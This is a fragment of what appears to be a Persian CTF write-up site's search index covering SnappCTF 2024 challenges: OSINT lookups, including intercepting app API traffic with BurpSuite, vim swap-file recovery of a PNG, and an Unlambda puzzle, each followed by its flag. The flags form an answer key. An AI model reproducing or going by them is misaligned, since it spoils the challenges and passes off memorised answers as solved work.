\u0645\u0628\u0644\u063a\u06cc \u0631\u0648 \u062f\u0631 \u0645\u0627\u0647 \u0630\u062e\u06cc\u0631\u0647 \u06a9\u0646\u0646\u062f.

1- \u0633\u0631\u0648\u06cc\u0633 \u067e\u0631\u062f\u0627\u062e\u062a \u0627\u0639\u062a\u0628\u0627\u0631\u06cc \u0627\u0633\u0646\u067e (\u0628\u0647 \u062f\u0644\u06cc\u0644 \u0627\u0645\u06a9\u0627\u0646 \u067e\u0631\u062f\u0627\u062e\u062a \u0645\u0628\u0644\u063a \u0633\u0641\u0631 \u062f\u0631 \u067e\u0627\u06cc\u0627\u0646 \u0645\u0627\u0647 \u062a\u0627 \u0633\u0642\u0641 200 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646) 2- \u0633\u0631\u0648\u06cc\u0633 \u0627\u0633\u0646\u067e \u06a9\u0644\u0627\u0628 (\u0628\u0647 \u062f\u0644\u06cc\u0644 \u0627\u0631\u0627\u0626\u0647 \u06a9\u062f\u200c\u0647\u0627\u06cc \u062a\u062e\u0641\u06cc\u0641) 3- \u0633\u0631\u0648\u06cc\u0633 \u0631\u0632\u0631\u0648 \u0647\u062a\u0644 \u0648 \u0628\u0644\u06cc\u062a \u0627\u0633\u0646\u067e (\u0628\u0647 \u062f\u0644\u06cc\u0644 \u06a9\u062f\u200c\u0647\u0627\u06cc \u062a\u062e\u0641\u06cc\u0641 25 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0628\u0647 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u0634\u0628\u0627\u0647\u062a \u062f\u0627\u0631\u062f)

\u0646\u062a\u06cc\u062c\u0647 \u0628\u0631\u0631\u0633\u06cc \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0647\u0627 \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0647\u06cc\u0686 \u06a9\u062f\u0627\u0645 \u067e\u0627\u0633\u062e \u0686\u0627\u0644\u0634 \u0646\u0628\u0648\u062f\u0646\u062f.

\u062f\u0631\u0627 \u06cc\u0646 \u0645\u0631\u062d\u0644\u0647 \u06cc\u06a9 \u0633\u0648\u0627\u0644 \u0628\u0647 \u0648\u062c\u0648\u062f \u0627\u0648\u0645\u062f \u0648 \u0627\u0648\u0646 \u0647\u0645 \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0627\u06af\u0631 \u0627\u0633\u0627\u0645\u06cc \u0627\u0635\u0644\u06cc \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627 \u0627\u0648\u0646 \u0686\u06cc\u0632\u06cc \u06a9\u0647 \u062d\u062f\u0633 \u0645\u06cc\u0632\u0646\u06cc\u0645 \u0646\u0628\u0627\u0634\u0646\u062f \u0686\u06cc\u061f \u0628\u0631\u0627\u06cc \u0647\u0645\u06cc\u0646 \u0648 \u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u0633\u0645 \u0633\u0631\u0648\u06cc\u0633\u200c\u200c\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637\u0647 \u06a9\u0647 \u0645\u0645\u06a9\u0646 \u0647\u0633\u062a \u062c\u0648\u0627\u0628 \u0628\u0627\u0634\u0646\u062f\u060c \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u0627\u0632 \u0633\u0645\u062a \u0627\u0648\u0646\u200c\u0647\u0627 \u0631\u0648 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 BurpSuite \u0634\u0646\u0648\u062f \u06a9\u0631\u062f\u06cc\u0645 \u062a\u0627 \u0646\u0627\u0645 \u062f\u0642\u06cc\u0642 \u0633\u0631\u0648\u06cc\u0633 \u0647\u0627 \u0631\u0648 \u0627\u0632 \u0631\u0648\u06cc API \u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637\u0647 \u062a\u0634\u062e\u06cc\u0635 \u0628\u062f\u06cc\u0645. \u0627\u0645\u0627 \u0645\u062a\u0627\u0633\u0641\u0627\u0646\u0647 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0647\u0645 \u0646\u062a\u06cc\u062c\u0647\u200c\u0627\u06cc \u0646\u062f\u0627\u0634\u062a.

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0645\u0631\u062d\u0644\u0647 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0645 \u06a9\u0647 \u0646\u0633\u062e\u0647 \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 \u0627\u0633\u0646\u067e \u06a9\u0647 \u062f\u0631 \u062d\u0627\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0648\u0646 \u0628\u0648\u062f\u0645 \u0645\u0646\u0637\u0628\u0642 \u0628\u0627 \u0622\u062e\u0631\u06cc\u0646 \u0628\u0647 \u200c\u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0646\u06cc\u0633\u062a. \u0627\u0632 \u0627\u06cc\u0646\u062c\u0627 \u062d\u062f\u0633\u06cc \u06a9\u0647 \u0628\u0647 \u0648\u062c\u0648\u062f \u0627\u0648\u0645\u062f \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0634\u0627\u06cc\u062f \u062f\u0631 \u0622\u067e\u062f\u06cc\u062a\u200c\u0647\u0627\u06cc \u0627\u062e\u06cc\u0631\u060c \u0633\u0631\u0648\u06cc\u0633 \u062c\u062f\u06cc\u062f\u06cc \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0636\u0627\u0641\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c \u0641\u0639\u0644\u06cc \u0648\u062c\u0648\u062f \u0646\u062f\u0627\u0631\u0647 \u0648 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u0647 \u0622\u062e\u0631\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0634\u062f.

\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062a\u0635\u0648\u06cc\u0631 \u0645\u0634\u062e\u0635 \u0647\u0633\u062a\u060c \u0628\u0639\u062f \u0627\u0632 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0627\u067e\u0644\u06cc\u06a9\u06cc\u0634\u0646 \u0627\u0646\u062f\u0631\u0648\u06cc\u062f \u0627\u0633\u0646\u067e \u06cc\u06a9 \u0633\u0631\u0648\u06cc\u0633 \u062c\u062f\u06cc\u062f \u0628\u0627 \u0646\u0627\u0645 \u0627\u0633\u0646\u067e \u067e\u0631\u0648 \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0636\u0627\u0641\u0647 \u0634\u062f\u0647 \u0648 \u0628\u0627 \u062a\u06af \u062c\u062f\u06cc\u062f \u0645\u0634\u062e\u0635 \u0634\u062f\u0647. \u0628\u0631\u0627\u06cc \u0627\u0637\u0644\u0627\u0639 \u0627\u0632 \u0645\u0634\u062e\u0635\u0627\u062a \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u062c\u062f\u06cc\u062f \u0628\u0627 \u0633\u0631\u0686 \u0627\u0633\u0645 \u0627\u0648\u0646 \u062f\u0631 \u06af\u0648\u06af\u0644 \u0628\u0647 \u0635\u0641\u062d\u0647 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0633\u0627\u06cc\u062a \u0627\u0633\u0646\u067e \u0628\u0627 \u0627\u06cc\u0646 \u0622\u062f\u0631\u0633 \u0645\u06cc\u0631\u0633\u06cc\u0645.

\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062a\u0635\u0648\u06cc\u0631 \u062f\u06cc\u062f\u0647 \u0645\u06cc\u200c\u0634\u0647\u060c \u062f\u0631 \u0628\u062e\u0634 \u0627\u0628\u062a\u062f\u0627\u06cc\u06cc \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a\u06cc \u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0633\u0646\u067e \u067e\u0631\u0648 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647. \u0628\u0647 \u0639\u0628\u0627\u0631\u0627\u062a \u0627\u0634\u062a\u0631\u0627\u06a9 \u0648 \u062a\u062e\u0641\u06cc\u0641 \u062f\u0631 \u0645\u062a\u0646 \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647 \u062f\u0642\u062a \u06a9\u0646\u06cc\u062f. \u0627\u0632 \u0627\u06cc\u0646 \u062f\u0648 \u0639\u0628\u0627\u0631\u062a \u0627\u06cc\u0646 \u0646\u06a9\u062a\u0647 \u0628\u0631\u062f\u0627\u0634\u062a \u0645\u06cc\u0634\u0647 \u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0642\u0627\u062f\u0631 \u0647\u0633\u062a\u0646\u062f \u0645\u0628\u0644\u063a\u06cc \u0631\u0648 \u062f\u0631 \u0645\u0627\u0647 \u0630\u062e\u06cc\u0631\u0647 \u06a9\u0646\u0646\u062f. \u0628\u0631\u0627\u06cc \u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u06cc\u0634\u062a\u0631 \u0628\u0627 \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0645\u0642\u062f\u0627\u0631\u06cc \u0628\u0647 \u067e\u0627\u06cc\u06cc\u0646 \u0635\u0641\u062d\u0647 \u0627\u0633\u06a9\u0631\u0648\u0644 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0648 \u062f\u0631 \u0628\u062e\u0634 \u0645\u06cc\u0627\u0646\u06cc \u0633\u0627\u06cc\u062a \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u062c\u0627\u0644\u06cc \u0631\u0648 \u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0633\u0646\u067e \u067e\u0631\u0648 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u0645.

\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062a\u0635\u0648\u06cc\u0631 \u0645\u0634\u062e\u0635 \u0647\u0633\u062a\u060c \u062f\u0631 \u0628\u062e\u0634\u06cc \u0627\u0632 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647 \u06af\u0641\u062a\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0628\u0627 \u0641\u0639\u0627\u0644 \u0633\u0627\u0632\u06cc \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0645\u06a9\u0627\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 25 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u062a\u062e\u0641\u06cc\u0641 \u0628\u0631\u0627\u06cc \u0647\u0631 \u0627\u0631\u0633\u0627\u0644 \u062f\u0631 \u0637\u0648\u0644 \u0645\u062f\u062a \u0627\u0634\u062a\u0631\u0627\u06a9 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f. \u0639\u0628\u0627\u0631\u062a 25 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u0622\u0634\u0646\u0627 \u0646\u06cc\u0633\u062a\u061f \u062f\u0631 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u06af\u0641\u062a\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f \u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0627\u0645\u06a9\u0627\u0646 \u0630\u062e\u06cc\u0631\u0647 \u0645\u0628\u0644\u063a 250 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u0631\u0648 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0642\u0631\u0627\u0631 \u0645\u06cc\u062f\u0647. \u0627\u06cc\u0646 \u062f\u0648 \u0645\u0642\u062f\u0627\u0631 \u0628\u0647 \u0647\u0645 \u0634\u0628\u06cc\u0647 \u0647\u0633\u062a\u0646\u062f \u0648 \u062d\u062f\u0633\u06cc \u06a9\u0647 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0647 \u0648\u062c\u0648\u062f \u0645\u06cc\u0627\u062f \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u0634\u0627\u06cc\u062f \u062f\u0631 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u0642\u0635\u062f \u0637\u0631\u0627\u062d \u0627\u06cc\u0646 \u0628\u0648\u062f\u0647 \u06a9\u0647 \u0645\u0628\u0644\u063a \u0631\u0648 \u06cc\u0647 \u0635\u0648\u0631\u062a \u0631\u06cc\u0627\u0644 \u0628\u0646\u0648\u06cc\u0633\u0647 \u0648 \u0646\u0647 \u062a\u0648\u0645\u0627\u0646 \u0648 \u062f\u0631 \u0648\u0627\u0642\u0639 \u0645\u0627 \u062f\u0646\u0628\u0627\u0644 \u0645\u0628\u0644\u063a 25 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u0645\u06cc\u06af\u0631\u062f\u06cc\u0645. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u0648\u0646 \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0628\u0647 \u062a\u0627\u0632\u06af\u06cc \u0628\u0647 \u0627\u0633\u0646\u067e \u0627\u0636\u0627\u0641\u0647 \u0634\u062f\u0647 \u0645\u0645\u06a9\u0646 \u0647\u0633\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u06cc\u06a9 \u062c\u0646\u0628\u0647 \u062a\u0628\u0644\u06cc\u063a\u0627\u062a\u06cc \u0628\u0631\u0627\u06cc \u0645\u0639\u0631\u0641\u06cc \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0647\u0645 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u0647 \u067e\u0633 \u062d\u062f\u0633 \u0628\u0631 \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u0646\u0627\u0645 \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0645\u0645\u06a9\u0646\u0647 \u062c\u0648\u0627\u0628 \u0686\u0627\u0644\u0634 \u0628\u0627\u0634\u0647.

\u0648 \u062f\u0642\u06cc\u0642\u0627 \u062f\u0631\u0633\u062a \u062d\u062f\u0633 \u0632\u062f\u06cc\u0645! \u0639\u0628\u0627\u0631\u062a SNAPPPRO \u0647\u0645\u0648\u0646 \u0641\u0644\u06af \u0647\u0633\u062a.

FLAG

SNAPP{SNAPPPRO}

Info

\u0646\u06a9\u062a\u0647\u200c\u0627\u06cc \u06a9\u0647 \u062f\u0631 \u0631\u0627\u06cc\u062a\u0627\u067e \u0628\u0647 \u0627\u0648\u0646 \u0627\u0634\u0627\u0631\u0647 \u0634\u062f \u0648 \u062f\u0631 \u0622\u062e\u0631 \u062f\u0631\u0633\u062a \u0628\u0648\u062f \u0627\u06cc\u0646 \u0647\u0633\u062a \u06a9\u0647 \u06af\u0648\u06cc\u0627 \u0647\u062f\u0641 \u0637\u0631\u0627\u062d  \u062f\u0631 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u0646\u0648\u0634\u062a\u0646 \u0639\u0628\u0627\u0631\u062a  25 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u0628\u0648\u062f\u0647 \u06a9\u0647 \u0628\u0647 \u0627\u0634\u062a\u0628\u0627\u0647 250 \u0647\u0632\u0627\u0631 \u062a\u0648\u0645\u0627\u0646 \u0639\u0646\u0648\u0627\u0646 \u0634\u062f\u0647.\n

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

EnZ404

","tags":["SnappCTF","SnappCTF-2024","OSINT"]},{"location":"misc/writeups/SnappCTF/SnappOsint/#snapp-customer","title":"\u0686\u0627\u0644\u0634 SNAPP Customer","text":"

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0645\u0627 \u0628\u0627 \u06cc\u06a9 \u062c\u0633\u062a\u062c\u0648 \u062f\u0631 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0628\u0647 \u0644\u06cc\u0646\u06a9 \u06af\u0632\u0627\u0631\u0634 \u0639\u0645\u0644\u06a9\u0631\u062f \u0633\u0627\u0644 1401 \u0627\u0633\u0646\u067e \u0631\u0633\u06cc\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u062c\u0645\u0648\u0639\u0647 \u0627\u06cc \u0627\u0632 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u062f\u0631 \u0622\u0646 \u0628\u0648\u062f. \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u06a9\u0647 \u0627\u0632 \u0645\u0627 \u062a\u0639\u062f\u0627\u062f \u06a9\u0627\u0631\u0645\u0646\u062f\u0627\u0646\u060c \u062a\u0639\u062f\u0627\u062f \u06a9\u0644 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0633\u0648\u067e\u0631\u0627\u067e \u0627\u0633\u0646\u067e \u0648 \u062a\u0639\u062f\u0627\u062f \u0622\u06cc\u062a\u0645\u200c\u0647\u0627\u06cc \u063a\u0630\u0627 \u062f\u0631 \u0628\u0632\u0631\u06af\u062a\u0631\u06cc\u0646 \u0633\u0641\u0627\u0631\u0634 \u063a\u0630\u0627 \u0631\u0627 \u0627\u0632 \u0645\u0627 \u062e\u0648\u0627\u0633\u062a\u0647 \u0628\u0648\u062f \u0627\u0632 \u0647\u0645\u06cc\u0646 \u0644\u06cc\u0646\u06a9 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u06cc\u0645.

FLAG

SNAPP{6561-62394971-520}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["SnappCTF","SnappCTF-2024","OSINT"]},{"location":"misc/writeups/SnappCTF/SnappOsint/#snapp-records","title":"\u0686\u0627\u0644\u0634 SNAPP Records","text":"

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0647\u0645 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0647\u0645\u0627\u0646 \u06af\u0632\u0627\u0631\u0634 \u0639\u0645\u0644\u06a9\u0631\u062f \u0633\u0627\u0644\u0627\u0646\u0647 \u0627\u0633\u0646\u067e \u0628\u0647 \u0645\u06cc\u0632\u0627\u0646 \u0631\u06a9\u0648\u0631\u062f \u062a\u0631\u0627\u06a9\u0646\u0634 \u0627\u0633\u0646\u067e\u200c\u067e\u06cc \u0648 \u062a\u0639\u062f\u0627\u062f \u0633\u0641\u0631\u0647\u0627\u06cc \u0631\u0648\u0632\u0627\u0646\u0647 \u0628\u0627 \u0627\u0633\u0646\u067e \u0628\u0631\u0633\u06cc\u0645.

FLAG

SNAPP{4132512-257520}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["SnappCTF","SnappCTF-2024","OSINT"]},{"location":"misc/writeups/SnappCTF/SnappOsint/#snapp-bounties","title":"\u0686\u0627\u0644\u0634 SNAPP Bounties","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0646\u06cc\u0632 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0628\u0631\u0631\u0633\u06cc \u0627\u062e\u0628\u0627\u0631 \u0627\u062e\u06cc\u0631 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u0641\u0632\u0627\u06cc\u0634 \u067e\u0627\u062f\u0627\u0634 \u0647\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u0627\u06af \u0628\u0627\u0646\u062a\u06cc \u0627\u0633\u0646\u067e \u0628\u0648\u062f

\u06a9\u0647 \u0641\u0644\u06af \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0633\u0627\u062e\u062a\u0647 \u0645\u06cc\u0634\u0648\u062f

FLAG

SNAPP{80-36}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["SnappCTF","SnappCTF-2024","OSINT"]},{"location":"misc/writeups/SnappCTF/bandy/","title":"Bandy","text":"

\u0627\u0632 \u0645\u0646 \u0628\u0647 \u0634\u0645\u0627 \u0646\u0635\u06cc\u062d\u062a \u0647\u0631\u062c\u0627 vim \u062f\u06cc\u062f\u06cc\u062f\u060c \u0628\u0631\u06cc\u062f \u0633\u0645\u062a swp \u0641\u0627\u06cc\u0644 \u0647\u0627 =))

\u0637\u0628\u0642 \u062a\u0635\u0648\u06cc\u0631\u06cc \u06a9\u0647 \u062a\u0648\u0633\u0637 \u0628\u0631\u0646\u0627\u0645\u0647 bless \u0646\u0634\u0627\u0646 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647\u060c \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0642\u0633\u0645\u062a \u0645\u062c\u06cc\u06a9 \u0628\u0627\u06cc\u062a \u062f\u0648 \u0641\u0627\u06cc\u0644 \u0628\u0627 \u0647\u0645 \u0641\u0631\u0642 \u062f\u0627\u0631\u0647

\u0628\u0639\u062f \u0627\u0632 \u0633\u0631 \u0648 \u06a9\u0644\u0647 \u0632\u062f\u0646 \u0647\u0627\u06cc \u0641\u0631\u0627\u0648\u0648\u0646 \u0628\u0631\u0627\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u0641\u0631\u0645\u062a \u0648 \u0645\u0633\u06cc\u0631 \u0641\u0627\u06cc\u0644 \u0647\u0627 \u062a\u0648\u0633\u0637 \u0645\u0646 \u0648 \u0648\u062d\u06cc\u062f \u062c\u0627\u0646 \u0648 \u0646\u0627\u06a9\u0627\u0645\u06cc \u062f\u0631 \u0627\u06cc\u0646 \u0632\u0645\u06cc\u0646\u0647\u060c \u0646\u06cc\u0645\u0627 \u062c\u0627\u0646 \u0628\u0647\u0645\u0648\u0646 \u06af\u0641\u062a:

\u0686\u0647 \u0646\u06cc\u0627\u0632\u06cc\u0647 \u06a9\u0644 \u0628\u0627\u06cc\u062a \u0647\u0627 \u0631\u0648 \u062a\u0628\u062f\u06cc\u0644 \u06a9\u0646\u06cc\u0645\u061f

\u062f\u0648 \u0628\u0627\u06cc\u062a \u0627\u0648\u0644 \u06a9\u0627\u0641\u06cc\u0647!!

vim -r .bandy.swp\n

\u0628\u0627 \u0632\u062f\u0646 \u0627\u06cc\u0646 \u06a9\u0627\u0645\u0646\u062f \u0648 \u0631\u062f \u06a9\u0631\u062f\u0646 \u0648\u0627\u0631\u0646\u06cc\u0646\u06af\u06cc \u06a9\u0647 \u062f\u0627\u062f\u0647\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0647 \u0641\u0627\u06cc\u0644 \u0627\u0635\u0644\u06cc \u0628\u0631\u0633\u06cc\u0645

\u062f\u0631 \u0627\u06cc\u0646 \u0642\u0633\u0645\u062a \u0628\u0627\u06cc\u062f \u0641\u0627\u06cc\u0644 \u0631\u0648 \u0633\u06cc\u0648 \u06a9\u0646\u06cc\u0645

\u0628\u0627 \u062f\u0633\u062a\u0648\u0631

:w a.png\n

\u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0641\u0627\u06cc\u0644 \u0631\u0648 \u0633\u06cc\u0648 \u06a9\u0646\u06cc\u0645 \u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u06cc\u062e\u0648\u0627\u06cc\u0645 (\u0646\u0647 \u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0622\u0642\u0627\u06cc \u0641\u0627\u06a9\u062a\u0648\u0631\u06cc\u0644 \u0632\u062f\u0647 )

\u062f\u0631 \u0622\u062e\u0631 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0647 \u0627\u0632 \u0641\u06cc\u06a9\u0633 \u06a9\u0631\u062f\u0646 png \u0632\u06cc\u0631 \u0633\u06cc\u0628\u06cc\u0644\u06cc \u0631\u062f \u0634\u06cc\u0645\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 \u0633\u0627\u06cc\u0628\u0631\u0686\u0641 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645

FLAG

SNAPP{D0n7_Op3n_8!NarY_FII35_W1tH_VIM!!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Misc","Forensics","VIM","SWP","PNG"]},{"location":"misc/writeups/SnappCTF/prying-eyes/","title":"Prying eyes","text":"

\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0627\u0632 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0644\u0646\u062c \u0645\u0639\u0644\u0648\u0645\u0647 \u06a9\u0647 \u06cc\u0627 \u0628\u0627\u06cc\u062f \u062f\u0646\u0628\u0627\u0644 \u03bb (Lambda) \u0628\u06af\u0631\u062f\u06cc\u0645\u060c \u06cc\u0627 \u0647\u0645 \u062f\u0646\u0628\u0627\u0644 \u06cc\u0647 \u0627\u0646\u06a9\u062f\u06cc\u0646\u06af\u06cc \u0686\u06cc\u0632\u06cc \u0628\u0647 \u0627\u0633\u0645 (prying eyes)

\u06a9\u0647 \u0628\u0627 \u06a9\u0645\u06cc \u0633\u0631\u0686 \u06a9\u0631\u062f\u0646 \u0645\u06cc\u0631\u0633\u06cc\u0645 \u0628\u0647 (Unlambda)

\u0648 \u06cc\u0647 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0622\u0646\u0644\u0627\u06cc\u0646 \u0628\u0631\u0627\u0634 \u067e\u06cc\u062f\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645

FLAG

SNAPP{1st:__SNAPP__theSEC&CTF}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Misc","Unlambda","Lambda"]},{"location":"osint/","title":"\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0646\u0628\u0639\u200c\u0628\u0627\u0632(\ud835\ude7esint)","text":"

\u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0627\u0645\u0631\u0648\u0632 \u0628\u0647 \u0648\u0627\u0633\u0637\u0647 \u06af\u0633\u062a\u0631\u0634 \u0634\u0628\u06a9\u0647 \u0647\u0627\u06cc \u0627\u062c\u062a\u0645\u0627\u0639\u06cc\u060c \u0631\u0633\u0627\u0646\u0647\u200c\u0647\u0627\u060c \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u0633\u0627\u0632\u0645\u0627\u0646\u06cc \u0648 \u0634\u062e\u0635\u06cc \u06cc\u06a9 \u0645\u0646\u0628\u0639 \u0627\u0637\u0644\u0627\u0639\u0627\u062a\u06cc \u0628\u0632\u0631\u06af \u0627\u0633\u062a. \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0646\u0628\u0639\u200c\u0628\u0627\u0632\u2002(\ud835\ude7e\ud835\ude82\ud835\ude78\ud835\ude7d\ud835\ude83)\u2002\u06a9\u0647 \u0633\u0631\u0646\u0627\u0645 \u0639\u0628\u0627\u0631\u062a \u2002\ud835\ude7e\ud835\ude99\ud835\ude8e\ud835\ude97\u2002\ud835\ude82\ud835\ude98\ud835\ude9e\ud835\ude9b\ud835\ude8c\ud835\ude8e\u2002\ud835\ude78\ud835\ude97\ud835\ude9d\ud835\ude8e\ud835\ude95\ud835\ude95\ud835\ude92\ud835\ude90\ud835\ude8e\ud835\ude97\ud835\ude8c\ud835\ude8e \u0627\u0633\u062a \u0628\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a\u06cc \u06af\u0641\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u0628\u0647 \u0635\u0648\u0631\u062a 